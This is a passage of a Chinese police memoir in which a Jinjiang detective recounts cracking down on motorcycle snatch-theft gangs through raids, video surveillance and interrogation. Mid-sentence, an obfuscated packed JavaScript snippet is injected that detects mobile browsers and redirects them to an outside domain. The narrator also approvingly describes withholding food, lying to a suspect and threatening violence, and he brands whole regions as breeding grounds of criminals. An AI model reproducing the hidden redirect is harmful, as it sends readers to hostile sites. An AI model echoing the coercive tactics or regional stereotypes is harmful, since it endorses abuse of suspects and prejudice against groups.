这一次开局很好，因为在现场扣押的摩托车，经证实就是实施飞车抢夺的交通工具，因为车辆悬挂的牌照大部分是假牌，不过有车牌跟几起案件中被害人和目击者提供的车牌一样，可以作为直接证据，加上第一批我们都比较有精神，采取了必要的手段，第一批接受审讯的部分嫌疑人在证据面前，很快供述了参与抢夺案件的犯罪事实。这个团伙人员众多，每次作案有不同的人参与，我们俗称：分分合合。就是张三有时跟李四出去作案，有时跟王五一起出门实施抢夺。团伙成员中，有来自重庆的，还有来自贵州的，因为都好赌，然后勾结在一起，双车或者多车一起出去实施抢夺，相互掩护，共同分赃，但是他们内部并不团结，由于分赃不均，还存在矛盾，我们采取的方式是逐一突破。我们突破了第一批次的嫌疑人以后，后面的就比较快了，但是我已经困用到电脑做笔录时，打字都不知道自己在打什么，瞌睡虫牢牢的控制着我的大脑，整个审讯室被烟雾笼罩，这么浓烈的二手烟，让我提神，坚持到了第二批次审讯完，凭着一股勇劲，艰苦拿下第二批次嫌疑人口供，我已经感觉体力不支了，出走两部，发现天已经大亮了，这才看表，已经是第二天上午7点了，必须加快进度，所剩时间不多了，我们必须在24小时内完成刑拘前的所有工作。 经常又这个体验，因为工作的原因，经常熬夜，甚至通宵达旦，每次晚上在经历过极度瞌睡的阶段后，会进入一个新的阶段，重新有精神，就好像晚上没睡觉的不是我，这天天亮后，我已经从瞌睡中走了出来，我又仿佛来了精神，继续开足马力，和搭档一起，提审第三批次的嫌疑人，嫌疑人照例是抵抗一会，先是抵赖，后来承认。 到中午吃饭时，所有的人审讯完成，经过统计，可以查实的是，总共涉及案件二十九起之多，我们开始办理各种手续，然后就是辨认现场，分成若干组，到犯罪现场，由嫌疑人指认辨认。 晚上22时许，我们已经基本上完成了所有的手续，将嫌疑人运送到了看守所，等候看守所收押。等忙完从看守所回来，已经是晚上24时许了。两天两夜就这么结束了，我有些意犹未尽，但是身体已经给了我明确的信号，我需要休息。我直接爬回宿舍，没有洗漱，直接躺在床上，睡到第三天上午十点多，我第一次听见自己睡着后打呼噜的声音。 投入无数的资源后人力后，熬了几个通宵，我们抓获的这一个团伙破获了近30起飞车抢夺案件，但是相对于每天的高发案态势，跟发案总数来说就是杯水车薪了，在总数面前，我们破获的可以忽略不计，没有解决多少问题，我们必须加强持续打击，扭转这一态势。 （四）视频追击 随着视频的投入增大，为了破获更多的案件，我们把目光放在了新安装的视频探头上了，开始挖掘视频用于破案的各种潜力。只要有案件发生我们第一时间就开始寻找视频录像了，首先是获取作案嫌疑人及车辆的特征，解决从无到有的经过；其次是，收集好各个现场带回来的录像，管理好视频资源；最后是，根据已有的资料，再想办法破案，我们称之为研判分析，解决应用的问题。 我们打击飞车抢夺的手段，跟着时代在不断更新，从一开始方法笨拙，通过大量警力部署在路面，靠现场的警力或者群众及群防力量，抓几个现行，然后通过现行来扩大战果，效率低，靠运气，针对性差，有点姜太公钓鱼的味道，而且制度政策法律等原因，还处处掣肘，打击效能较低，破案率低，完全是花架子，再就是通过发展线人耳目获取第一手的犯罪嫌疑人信息，然后开展打击，但是周期长，效果不容易显现，两种打击无法有效遏制飞车抢夺案件；好在时间推移，随着警力逐步增长，加上“两抢案件”极大的损害了人民群众安全感，广大群众反映强烈，如何打击还经常上政协和人大会上讨论，党委政府层面开始重视，政府不断加大投入，打击手段开始升级，也提出了具体的行动目标，晋江地区局组织了“打击两抢办”，开始利用数据手段打击“两抢”，在数据工作的强力支撑下，打击效能快速提升，我们更加精确的抓人破案，破案率开始上升，抓获的团伙成员越来愈多，团伙成员人数变得越来越少，打击效果开始显现，“两抢”案件开大幅下降；时任晋江局长陈文荣局长，提出了第一阶段的作战目标“两抢”发案控制在个位数，当时我们听到个这么目标，都觉得不可思议，当时每天的警情都是30起上下，高峰期达到40余起，要降到个位数，确实不太容易，但是晋江有个传统，特别能战斗，当一个战斗目标被清晰的定出来，摆在那里，要做的就是执行，晋江刑警从来不缺执行力。2012年5月中旬提出的目标，时间定为2012年12月30日完成，留给我们的时间已经不多。战斗已经打响。特别能吃苦，特别能风险，再次被提出来，所有人开启了战斗模式，我们开始梳理几年来的案件，进一步分析串并，展开数据碰撞，再交由晋江地区局提供数据支撑，然后开始锁定嫌疑人，那个时候，我分成多组，人停车不停的模式运转，为确保所有人都能够得到休息，保持旺盛的战斗力，将人分成两组，通常是这样：A组人负责夜间抓捕，B组人就休息，约定凌晨2时交班，A组回去休息，B组人开始审讯，第二天中午A组人接着回来继续，B组中午休息两小时，最后下午所有人一起，做最后的冲刺。一周两次，基本无休。剩下的时间都是在研究案件，或者整理卷宗，补充手续，报捕起诉。 那段时间，白天正常上班，晚上我有两种状态：第一种：我晚上正常下班回家，尽量8点就上床睡觉，有时则不回家，在宿舍睡觉，凌晨两点起床，到单位交接，开展审讯工作；第二种：下班后回家看看，或者不回家，晚上9点之前到单位集中，每两名民警带几名辅警，开车出去开展抓捕工作，抓到嫌疑人以后，将人带到办案区，做前期的身份核查，刑嫌采集工作，初审工作，到点移交，回去睡觉，睡到自然醒，吃饭再去单位继续干，嫌疑人送看守所羁押后，现案组的几个兄弟会去街边大排档喝个痛快，醉生梦死一场，明天继续。那半年多的时间，我们几个人就经手了办理了66名“两抢”嫌疑人的案件，创下几年之最，数字很吉利。 付出总是有汇报，2012年最后一天，市局召开刑侦工作会议，副中队长以上参会，会上局长通报了一条令人振奋的消息，通过接警统计，“两抢”案件已经连续一周发案个位数。短期休整后，过完春节，局长在新年工作计划中提出了更具体的目标：“两抢”实现零发案，破案率在现有基础上提高到75%。年底就实现多日零发案，之后逐年提高破案率，到2016年实现100%破案的目标。 我国的科技在快速发展，数字摄像头技术的研制成功，降低了视频监控的安装门槛，同时大幅度提高了视频的清晰度，数字信号的传输和应用变得简单，大规模安装视频成为可能，泉州开始建设城市安全信息系统，实现了视频摄像头的大量安装，这让我们打击两抢的效率不断提高，侦破案件的时间越来越短，尤其是飞车抢夺案件，让侦破此类案件变得简单。 2013年晋江地区的城安系统已经建好第二期了，高清视频的应用，大大缩短了我们侦破案件查看视频的时间，很直观的表现是可以看清嫌疑人的脸了，摩托车的车牌，甚至车辆细节可以看得很清晰，侦查起来就得心应手了，视频侦查在全国很多地方逐步兴起，有些地市专门组建了视频这个警种，走专业化的道路，理论以及制度都已经成体系了，视频监控建维管用一揽子解决。而当时我们还在摸索阶段。 2013年春节刚过，我带队值班，鞋都辖区第一期飞车抢夺案件不期而至，案件地点位于鞋都镇梧埭村金沟自然村，时间上午7时许，受害人来自重庆，女性，年龄28岁，步行从金沟菜市场出来时，在金沟河边的三岔路口，被一辆摩托车上后座男子抢走脖子上的金项链，春节前刚买的，价值两千元。做完接警笔录后，我和侦查员带着受害人，赶到现场，现场最近的是金沟幼儿园，门口安装有一个监控，刚刚好拍到整个案发过程，两名嫌疑人驾驶一辆摩托车，驾驶人带有头盔（漂亮的粉红色头盔，一个多彩塑料面罩），遮住了脸，后座男子没有戴头盔，金沟河边那条路，是从七一路（现已经改为：鞋都路）拐进来往南霞美的一条必经之道，在黑边有一处三岔路口，呈Y字型，一头是去金沟菜市场往宫口村，一条是往南霞美村。嫌疑人在现场已经来回转了很久，最后发现被害人后，车子停下来掉好头，后座嫌疑人走下来，从被害人身后靠近受害人，突然伸出双手从受害人脖子上拉下金项链，同时转身快步跑上摩托车，摩托车快速离开，拐上了七一路，被害人反应过来，转身要追的时候，嫌疑人已经逃出很远了。幼儿园 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14821856|158734||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 门口的视频是模拟信号的摄像头，录像比较模糊，但是整体的颜色形态还是很清晰的。根据时间点，我回到办公室调看泉州城安系统的高清视频，沿着嫌疑人来的路线一路延伸，发现最后消失在四境旧村一带的，那边都是小巷，我规划设计将视频监控安装进小巷是多年以后的事情。没有办法，我只能再倒回去，寻找嫌疑人驾车抵达现场的视频，在七一路金沟路口，嫌疑人停了一下，然后慢速拐进金沟路，后座的嫌疑人回眸了一下，清晰了留下了一张脸部，我能看清他脸上的毛孔，这是一张非常面熟的脸，但是想不起来在哪里见过。1080P的像素，摩托车的特征清晰，前后侧面，车牌，挡泥板细节，嫌疑人衣着特征，直接展示在我们面前，很快就将照片下发给路上巡逻警力以及鞋都镇全镇的治安巡逻队员，寻找该车及嫌疑人下落。然后我继续处理值班的其他案件。下午16时许，也就是照片发出去仅过去一个半小时，西坂巡逻队打来电话，发现嫌疑车，停在村里一处租房楼下，我带着几名侦查员开车直接赶往西坂，已经在鞋都7年了，对所有的路还是很熟悉的。在西坂巡逻队员的指引下，我们找到了那台摩托车，车牌没有更换，那个驾驶人戴漂亮的粉红色头盔就挂在摩托车上。摩托车停在一栋民房的门口，这是一栋临路的建筑，在路口处，共有四层，房东住四楼，一楼时店面，是一个杂货商店，二楼三楼出租房，大约有十几间房间。我们询问杂货商店的老板，是否认识这辆车的主人，老板说不认识，车主刚搬来，住二楼的一个房间。人在楼上，还没下楼。我们迅速分工，一名侦查员守在楼下，剩下的人上楼排查，整个二、三楼此时就只有一个人在房间，门也没锁，我们推开门，房间非常乱，车主还穿着上午作案时穿的衣服躺在床上睡觉，我们把他叫醒，他一脸懵逼的看着我们，直接按住背手上铐，搜身，搜查整个房间，找到一张嫌疑人身份证，杨某，25岁，贵州人。连人带车带回审查。 路上我在想，还有一名嫌疑人去向不明，赃物去向不知道，会不会是嫌疑人带着赃物去销赃了。现在如何开展审讯，这是我第一次遇到只有一个名嫌疑人的情况，之前都是两人同时被抓，相对来说，审讯很好开展，如果嫌疑人知道自己只是自己一个人被抓，会抱有侥幸幻想，产生顽抗对峙的状态，仅有衣服特征，证据链不充分，现在口供是所有证据链的关键，这是我第一次这么快就抓到案件嫌疑人，不到12小时，兴奋了很久，大家的状态还是蛮好的，士气高昂，决心一举拿下。我借助公安系统，分析了一下嫌疑人杨某的情况，发现其没有前科，这无疑是个好消息。 我把审讯时间定在了晚饭后，同时不让嫌疑人吃饭，让他保持又渴又饿又恐惧的状态，等到天黑，已经惶恐了几个小时的嫌疑人被带进审讯室，好戏开始。 你费了九牛二虎之力抓到嫌疑人，并不是就万事大吉了，并不代表案件就破了，这只是侦办案件的万里长征第一步，接下来，审讯，制作笔录，辨认现场、法律文书，押送羁押，羁押期间的审讯，被害人的二次取证、辨认等，各种鉴定，证据链收集完整，报捕起诉，一环接着一环，耗日时久。 审讯，是万里长征第二步。审讯能力，刑警必备技能，传帮带的技巧很多，这可不是简单的动之以情，晓之以理，这需要长期的积累，还有实战的不断磨练。如同心理战，高手过招，招式全部在内心深处，纵使内心波涛汹涌，脸上仍然毫无颜色，谁先露出破绽，谁就输了，而刑警永远必须是赢的那一方，刑警的压力其实比嫌疑人要大。在我看来，嫌疑人只不过在等待一个机会，这个机会是让他战胜自己一吐为快，作为刑警，你要把握住嫌疑人的破绽给他个机会。另一个角度讲，从表面上看，你有24个小时时间，实际上，你最多只有12个小时，能不能把握住这12个小时，关系到案件能不能继续。在我看来，你抓的每个嫌疑人，你都是在拯救他，他犯罪这条路，只会越陷越深，最后要么酿出大案，被判处极刑，要么在外面吸毒滋事，哪天就暴毙了，横竖都是死。人都是有一个共同点：怕死，哪怕在监狱待完后半生，也不愿意早死早投胎。这就要看你怎么把这个观点灌输给嫌疑人了。 我经历的大部分审讯，通常是两人或者多人合作，一唱一和，每一次都是斗智斗勇，为了配合效果，我们在审讯时几乎个个都是戏精。我们眼睛努力盯着对象，期待看到他脸上一丝细微的变化，来深入挖掘攻破防线，而嫌疑人则是无时不刻不盯着我们，盘算着交代多少，什么程度，我们掌握多少证据，这是此长彼消的一个过程，有时拉锯很久，在扫黑队的时候，我经历最长的审讯，长达六天。每一天对双方来说都是煎熬，涉黑的案件处理起来要非常慎重，很多人以为可以采取各种刑讯手段，实际上刑讯逼供是被法律严令禁止，在办案中，嫌疑人的一根汗毛你都不敢动他。晋江刑侦有着优良的战斗传统，长年的斗争积累，培养出了很多审讯高手，遗憾的是我不在此列，以前都有搭档来配合，彼此合作多年，非常熟悉，这次却是让我领队带着新人开展审讯工作，面对这种新的情况，我内心是有所顾忌的，我努力控制自己，掩盖在内心深处的怯懦。我脚步沉重，进入审讯室，我没有说话，故作深沉，眼睛盯着嫌疑人杨某，他坐在审讯室中间的椅子上，双手铐着，我从他眼睛中看到了惶恐，我没有做声，而是习惯性的打开了电脑，我还没有形成明确的审讯计划，我在等一个机会，我需要更多的东西支撑我，在与嫌疑人杨某的对话间隙，我用电脑查阅了一下嫌疑人杨某的手机采集的资料，里面有一条短息，出现了一个很熟悉的名字，对方号码存为：方某，我立即将方某输入电脑，此人是惯犯，曾因抢夺罪，被我们打击处理过，资料显示，他提前了10月刑满释放，我看了一下他的照片，一张熟悉的脸，我掏出手机里拍的照片，正是上午在视频中回眸一看的那位，此刻，我内心又是一万头的羊驼飘过，我们辛辛苦苦，耗费了大量的心血，把人送进监狱改造，不但没有改造好，还提前给放出来继续祸害社会。 我迅速用我的苹果4手机拍了一张方某之前刑嫌照片，就是背景有身高标识，打有姓名的那种。我做了一个大胆的判断，方某是整个案件的策划者，抢得的金项链需要去销赃变现，方某应该比较熟悉，独自去销赃了，做了这个判断后，我问杨某，同案犯是谁，他回答说没有，我单刀直入，直接告诉杨某，你还在保护方某，太可笑了，是方某将其供述出来，他在销赃后被我们抓获，我向他出示了照片，杨某当时就愣住了，我能感觉到他整个人的肌肉都松懈下来，整个人无力的瘫坐在那里。趁热打铁，我告诉杨某，方某是老司机了，使我们的常客，知道政策，没有吃苦，交代了案件就进看守所享福去了。留着杨某在这里吃苦。我恐吓杨某，刑警是会动手的，不打人是假的，我搬出了道具，杨某声音已经开始颤抖，不太情愿的开始交代案件，整个案件经过，来去逃跑路线，就很完整，包括赃物被方某拿去销赃等，还没有收到钱。但是杨某承认只做这一起案件，就被抓了。 我们选择了相信杨某的话，以为我手上没有其他案件的证据。办完所有的法律手续，押送杨某去辨认现场，然后是送看守所羁押。新的问题是，如何把方某抓捕归案，杨某被抓不知道是否惊动了他。 我拿着杨某的手机，尝试着拨打了方某的电话，准备引诱他出来，但是已经关机了，我认为应该是惊动他，他现在在躲藏。 当年方某是我们现案组几个人一起抓的，一起提审的，最后主办民警是国权，方某最怕国权，真是一物降一物。从看守所回来后，我就跟国权讲了这起案件，国权此时已经不跟我同组，分在不同班组值班，虽然同在一个中队，中队此时已经扩充到24位民警，分为三组，经过几年的艰苦打击，各派出所加强了更为有效的巡逻防控措施，刑事案件每年大幅下降，社会治安整体好转，向可控的方向转变，中队除非有大案，或者抓获人员较多，才有机会多个组一起工作，为了保障大家休息，通常，一个组七八个人，就能搞定大部分的案件。三个组交叉一起合作的机会越来越少了，但是他仍然义愤填膺，摩拳擦掌，准备把方某抓捕归案，哪怕加班也要再会会这个当年誓誓旦旦要改过自新的家伙。春节前从监狱出来，春节后就开始作案，真的是一刻也停不下来。 我们将嫌疑人方某通报给全市各单位，期待他再次出现时被当场抓获，但是两周过去了，渺无音讯。与此同时，晋江的新塘罗山连续发生多起的飞车抢夺案件，我看了一下视频，嫌疑人作案选择晋江往石狮的那条老路上，那条路分属罗山街道和新塘街道。一路上有几个视频摄像头，拍下了嫌疑人及使用车辆特征，值得注意的是，嫌疑人使用的是踏板摩托车，而不是传统的黑太子摩托车，看来嫌疑人已经饥不择食了，后座那名男子跟方某很像。我尝试这把之前掌握的方某手机号做了一下数据分析，结果惊奇的发现，他的手机号码又开始使用，我立即将这个情况通报给了泉州，在晋江地区局的支持下，空中电子数据现实，方某正是多起抢夺案的嫌疑人之一，同时也发现了他同伙的电子数据信息，经过前期大量的研判工作和准备，现在，就是择一黄道吉日，对方某和其同案犯实施抓捕。 经过几日的等待，机会终于来了，根据通报，天公作美，连日天气，不适合抢夺作案，方某终于停下来，藏身在新塘街道的一处民房内，我们迅速展开行动，在与鞋都宫□□界的沙塘村，我们确认了方某的藏身位置，参与抓捕的民警，迅速合围，直接冲进了房间，房间内烟雾缭绕，犯罪嫌疑人方某当时光着膀子和另一位嫌疑人两人正在使用锡纸烫吸□□，将两人铐住以后，我感到阵阵的恶心，干呕，咳嗽，感觉全身的肌肉痉挛，不听使唤，呼吸快要停止了，连忙挣扎着，将人押到门口，趁机呼吸新鲜空气，好在那几日下雨，空气质量很好。过了很久我才缓过劲来。我不记得这是我第几次“被吸毒”了，如果尿检，绝对是阳性。 日常的抓捕工作，是最刺激的，也是最危险的，你做了充分的准备，躲过了艾滋病的毒针，躲过了嫌疑人随时可能刺过来的尖刀，你可以穿防弹衣防刺衣，防住了躲在暗处准备对你致命一击的犯罪嫌疑人；你加强训练，身手矫健，练成绝世高手，不给对方任何伤害你的机会，但是这种染毒的空气，你始终无法躲避，因为嫌疑人就在那，当你看到他时，你只有一个念头，抓住他，别让他跑了！我们没有随身携带防毒面具，也没法使用，那个只有出警民警的后备箱才有，用于应急的。遇到被毒气污染的空间，你只能祈祷，穿过那层浓雾，能看到光明，完成刑警的使命。 我整个人都不好，在一种压抑的情绪下，将两人被押回单位办案区。在审讯室过道上，我碰了国权，他也在审讯案件，听说方某被抓回来，非常兴奋，过来帮忙。今时不比往日，上一次抓捕方某，让他吃了不少苦头，审讯的时候，我们能用的方法都用上了，最后方某终于受不了崩溃了，交代了部分案件，在监狱呆了几年。这次国权要好好的跟方某聊聊，嫌疑人方某看到国权，当场就怂了，监狱的生活，没能让他改过自新，不过让他学聪明了，不再侥幸对方，审讯工作顺利得让我们意外。倒是他的同案犯，□□了一会，不过当我们用手机录了一段方某交代的视频给他看时，他当场就服软了，并将责任都都推给了方某。实施方案，飞车抢夺案件，判罚不分主从犯，只分涉案多少，看来是个新手。 16. 第 16 章 （五）再遇旧识 不知不觉，经过两年多的夜以继日的艰苦奋战，“两抢”案件发案从日发案三十余起，降至多日零发案为常态。但是案件还有时有发生，这个是新常态，天下无贼只是一个理想状态，总有好吃懒做不学无术的人，铤而走险。从2013年起，侦破的两抢案件，都有累犯的影子，这些累教不改的惯犯，基本上都有吸毒史，出狱后复吸，刚刚从监狱出来，很快就再次回到以前的圈子，继续吸毒，继续抢。然后等着被抓，再来一个轮回，周而复始。这让我想起了刑警的段子，刑警周而复始的工作，犯罪分子也差不多，这里要吐槽一下中国的监狱，国家投入极大的资金，用于教育改造这些社会主义渣子的，但是监狱的管理存在问题的，绝大多数罪犯在监狱里改造，不管表现如何，都能提前释放，回到社会继续犯罪，长时间的猫鼠游戏，这些人会变本加厉，越来越罪恶，作案手段翻新，反侦查意识更强。刑法已经无法震慑他们，对于回监狱生活完全不在乎，以致于形成一个诡异的现象，监狱人满为患，罪犯是越来越多，好不容易从监狱出来的人，监狱生活对他们来说是一种美好的回忆，毫无震慑力，还有更多的人期待去监狱改善生活。那几年我们统计了数据每年要移送起诉四千余人，数字在逐年在增加，我离开晋江时，已经无限接近五千人大关了，如果算上危险驾驶罪，2013年移送起诉就超过五千人了。什么概念呢，每年打击处理的坏人能装满一个监狱。 新的一年，局长给我们定的两抢案件破案率目标为90%，同时提出了一个新的理念，街面接触性案件、盗窃案等条件较好的案件，破案时间争取在24小时内。提出这个理念，他是很有底气的，做了充分的准备，经过三年的打磨，打防控的体系已经建立，正在逐渐织密，网格化的视频网络布局，我们正在规划建设，每一张设计图纸，每一个摄像头的安装，都要遵循实战的需求。天罗地网已经就位，现在还有看不清形势想不开的违法分子，那就让他来吧。 中国有句古话：说曹操，曹操就到。当我们还沉浸在平均每日两抢发生案件不到一起的阶段性胜利当中，乐观认为案件会一直下降时，有一帮不怕死的人突然冒出来，连续多日，发生多起抢夺案件，作案区域很广，跨度大，时间也没有规律，全天候，全地域，连续多日，在鞋都、青阳、磁灶、内坑、安海、西园、新塘、罗山、东石、金井等地都有案件发生，毫无规律可言，一周都没能破案，日平均发案1.5起以上，我们顿感压力。经过我们长时间高压打击，成系列的案件已经很少了，之前大部分都是零星的案件，很多是流窜过来的，这次不同。 经过案件串并分析，嫌疑人不超过两伙人，极有可能是同一伙人，一是从现场找的视频中发现，出现了两辆不同的摩托车；而是同一时间段内只有一个地方有案件发生；三是，所有的被抢的都是金银首饰，以前经常容易被抢的手机和包，没有出现过，况且已经是智能机的时代，街上的苹果手机，已经是五千起步价了，但是他们没选择抢手机，这明显是同一团伙的特征，肯定是有原因的；四是，两辆摩托车曾一前一后出现在同一个案件现场。 直觉也好，现有的情况看，都说明了一件事，嫌疑人反侦察意识很强，表现在：第一已经不抢手机了；第二全部戴头盔，视频无法看清长相；第三，专挑偏僻路段或者人少的路段抢，这些地方视频安装的少，甚至没有。 我开始刻画嫌疑人的特征，四名男子，有抢夺前科，在监狱中总结分析出之前抢手机，被我们定位抓住，或者我们的侦查手段泄露，所以嫌疑人不再抢手机，不在人多的地方抢，容易被见义勇为的人抓住，不易逃脱，都是有前科的表现，知道监控的存在，尽量戴头盔伪装；魔高一尺，道高一丈。在监狱里服刑刚出来，肯定是与社会脱节的，社会的发展很快，经过长期打击，已经没有人在抢夺了，都改行偷摩托车或者诈骗去了（诈骗案件发案数，占总刑事案件4成，但破案率极低，属于拖后腿的，为了提高打击，安平市在原诈骗犯罪侦查中队基础上组建成立了反诈骗大队），嫌疑人如此猖獗，完全不了解警方的打击有多严厉，还是老黄历的心态，虽然有一定反侦察意识，但是终究是欲盖弥彰，嫌疑人越想隐藏自己，暴露得越多，我们需要的是循线追踪。 我们不会坐视多年辛勤劳动开创的良好局面被人肆意破坏。重案二队、两抢队、图侦队，直属队组成联合专案组，首先，串并案件，确认十余起为同一伙人所为，逐案开展视频侦查，再多案碰撞分析，通过数据比对，很快就掌握了嫌疑人的手机及其他信息，最后通过比对前科库，确认了团伙成员中两名嫌疑人身份信息。经过确认后，决定组织抓捕，此时我们已经兵强马壮，不像多年前抓个人，民警带着协警，人手装备都不行，现在不一样，我们民警多，装备齐全，还随时可以调用特警反恐大队人员，出动战术小组，实施攻击任务。当我们出现在嫌疑人面前时，如同天兵天将，四个一脸茫然的嫌疑人全部押回审查。四人中，我看到一个熟悉的面孔：王某朋。湖北建始县长梁乡人，跟我同一年出生。如果我没有记错的话，那次是我最后一次抓他，也是第三次抓他，而他应该是至少第四次因抢夺而被抓了。 缘分真是一个奇妙的东西，有的人阴魂不散，有的人如影随形，不管去哪里都能遇见。时间回到2006年，当我第一次被飞车抢夺的实况现场震撼，设卡时被飞车抢夺嫌疑人挑衅，说起来很幼稚，我暗下决心，练好车技，想办法打击这些龟孙。于是我开启了将捷达当赛车开的先例，我的记录是出行高峰期，从看守所到鞋都所5分钟。当时派出所每天晚上都有安排值班民警驾车巡逻，我们叫巡逻班，开启警灯，在路上来回巡逻，遇到可疑情况就拦截检查，我就利用驾车巡逻的机会，在路上狂飙，练习拦截摩托车。 年底的一天，当时我驾车从社区办完事情返回所里，路上突然听到一声摩托车引擎瞬间加速发出的特有的轰鸣声，这是飞车抢夺特有的声音，我从后视镜看到一辆摩托车正飞奔过来，路边有群众在招手追赶，我意识到机会来，那时，嫌疑人驾驶摩托车已经开到我前面，我迅速调整驾驶状态，降低档位，拉高转速，随着发动机发成怒吼，捷达车爆发出超强的动力，车子速度快速拉升到80公里每小时，还在上升，眼瞅就要追上摩托车，我脑海出现的画面，警车将摩托车别倒，我上去将嫌疑人控制，但是理想总是美好的，现实总是出人意料，嫌疑人发现有警车追上，就拐向路边的小路，我一个急刹，三档拉回二挡，急打方向，车子甩进小路，继续追，再次追了约两三百米，摩托车见无法摆脱，直接往一处土路上走，但是因为车速太快，无法控制，直接摔到，我的车已经追上，一个嫌疑人从地上爬起来，快速跑开，还有一名被压在摩托车底下，我其实独自一人，下车冲上前将没来得及跑掉的男子控制住，闻风声跟着过来的巡逻队员，在摩托车摔到的不远处，发现一把带刀鞘的锋利匕首。嫌疑人慌乱中从摩托车上掉落的，好在他未能拿到，好险，如果他拿到匕首，后果不敢想象。 这是我第一次抓到王某朋，湖北恩施自治州建始县长梁乡人，跟我同一年出生，真的是缘分。嫌疑人王某朋押回接受审讯，刑侦当天值班的同志，审讯了几个小时，王某朋只承认这一起抢夺案，因被抢的是一部旧款诺基亚手机，新机不到一千元，当时抢夺案起诉的标准是价值一千元，案件又移回到我这里，我看了一下刑侦做的笔录，王某朋，一年多以前因飞车抢夺被执行劳动教养一年，那时，飞车抢夺第一次被抓就可以劳动教养，而盗窃类案件，未到刑罚的，需要被抓执行两次以上行政处罚才能报送劳动教养。嫌疑人王某朋第一次被抓，执行了一年。王某朋这是第二次因涉嫌抢夺被抓，按照《治安管理处罚法》先拘留十五日，同时收集案件材料，去报送劳动教养委员会审批劳动教养。在法制科，我遇到了荣宗，他看到报批的审批表，就说又是建始县长梁乡的，这个地方是飞车抢夺的老窝，专门出产飞车抢夺，晋江已经处理了几百名这个地方的飞车抢夺嫌疑人，他的一番话，如同开启了一扇窗，我开始了解公安业务的另一面，“多发性犯罪来源地”第一次进入我的脑海，之前我只知道安溪县是电信诈骗高发来源地区，现在我开始研究各种犯罪来源地，用于日常的工作，在下社区时，尤其注意哪些犯罪高发来源地区来的人员，我开始变得看谁都像坏人，广东电白县，广西宾阳、河池，福建安溪县，湖北建始县、江西宜春袁州区，都昌县、余干县等等，全国有大约一二十个地区是各类犯罪多发来源地。 为什么会出现这种情况，我思考了很久，试图找到一个答案。 你或许很难理解一个地区为什么会集中出现某一种案件的犯罪嫌疑人，我到过其中很多地区，以安溪为例，安溪人两大支柱产业，茶叶，还有诈骗，安溪人诈骗最早师从台湾人，刚开始跟台湾人打工作马仔，后来自主创业，最初主要以发送虚假中奖短信实施诈骗，后来花样翻新，手机和网络两开花，但是套路万变不离其宗，你要是贪心，就会上当。在安溪，从事诈骗的人，回到老家，进出都是豪车，把旧房子拆了盖成别墅，全身名牌，花钱大方，隔壁老爷爷教育孙子，长大后要向这家有钱人学习赚钱，于是这个小朋友初中没有念完，跟着邻居开始诈骗之路，一带十十带百，规模效应就出来了，在安溪当地民间，偷抢被认为是受人鄙视的，但是诈骗赚钱是很光荣的事，被认为是有本事，如果被抓，那是运气不好，大家习以为常，毕竟被抓的是极少数，于是更多人的向着“梦想”，进入诈骗团伙，于是越来越专业，国内不好呆，就出国去，到东南亚，缅甸、老挝、柬埔寨，菲律宾，那里聚集几十万的诈骗大军对国内进行诈骗，如同战略轰炸一般，通过网络，对各个城市轮流轰炸。 榜样的力量是无穷的，很多时候我们都需要榜样，如同一面旗帜指引我们前进，这个社会也是需要一些榜样来学习，学习雷锋好榜样，能给我们社会带来美好的东西，时代也需要榜样，给我们美好的希望。但是榜样也是双刃剑，一旦你选错了榜样，后果就是灾难。对于那些“犯罪多发性来源地”来说，他们没能给人树立正确的榜样，现在要自食其果了。 我们四十年改革开放，物质文明得到了充分发展，但是精神文明却开了历史倒车，笑贫不笑娼居然成了民风主流观念，信仰的缺失，敌对势力的攻击，里应外合，让我们付出了沉重的代价，至今仍在为这个继续付出。犯罪一旦形成产业，一种职业，一旦入职，那么这辈子他的意识形态里只会是罪犯的思维观念了再难挽回。 嫌疑人王某朋，来自湖北建始县长梁乡，那里的景色优美，但是土地贫瘠，经济极其困难，2018年政府工作报告，城镇、农村居民人均可支配收入分别达到27275元、10428元，人均可支配收入只有14025元，排名湖北省倒数第5位，我没有查到06年的数据，知道的是，建始县是有名贫困县，一直都是穷山恶水的地方，有没有出刁明不清楚，可以证实的是坏人有很多，为了生计，当地人大多外出务工，不知道什么时候开始，飞车抢夺的技艺就成了他们的拿手专业，抢夺来钱快，方法简单易学，也轻松，每天工作几个小时足够，案件陆续在全国各地出现，嫌疑人并不只是来自那一个地方，毕竟不是专利，他们只是多发地，同样的多发地，还有贵州和重庆，如果你打开地图，发现这几个地方几乎连城一片，是连片的贫困区，但是贫穷并没有让他们变得更勤奋，而是铤而走险走上另一条不归路，看来想要不穷最重要的是思想，头脑决定命运。 嫌疑人王某朋属于头脑比较简单的人，第一次见面就留下了深刻的印象，按照劳动教养的程序，他再次被送进劳教所接受劳动改造，为期两年。之后我去了刑侦，走上专业打击“两抢”的道路。每日就是串并研判，分析碰撞，找出嫌疑人，抓嫌疑人回来，审讯，羁押，完善证据链，报捕起诉，周而复始。当然，除了两抢案件，我还侦查其他案件，一是领导指派，二是每个月有一天接警班，接到的案件都自己弄，遇到什么案件就查什么案件。盗窃、诈骗、□□等等。受制于数据库信息的规模大小，有些时候，我分析出嫌疑人使用的手机号码，甚至有嫌疑人的视频影像资料，但是我并不知道他的准确身份，只有最后抓住嫌疑人，才得以核实身份。 与王某朋的第二次相遇就是这样的背景下，当时我们研判出一伙抢夺的嫌疑人，通过分析，发现藏身在英林镇某村，在技术部门的支持下，我们赶过去抓捕，当时给我们的信息是，嫌疑人在工业区旁边村里几栋民房内，经过多次工作，无法确定是哪一栋，最后决定采取笨办法，守一下骑摩托车的。但是死守了半天，没有动静。这时一个熟悉的面孔出现了，王某朋出现在我们的视野里，我一眼就认出了他，他留给我的记忆太深刻，直觉告诉，他就是我们要抓捕的嫌疑人，我们立即下车将他跟他一起的人围住，他们正好要骑车离开，我们直接铐住，带回审查，在路上我们检查了一下他们随身携带的手机确认了他们就是嫌疑人。 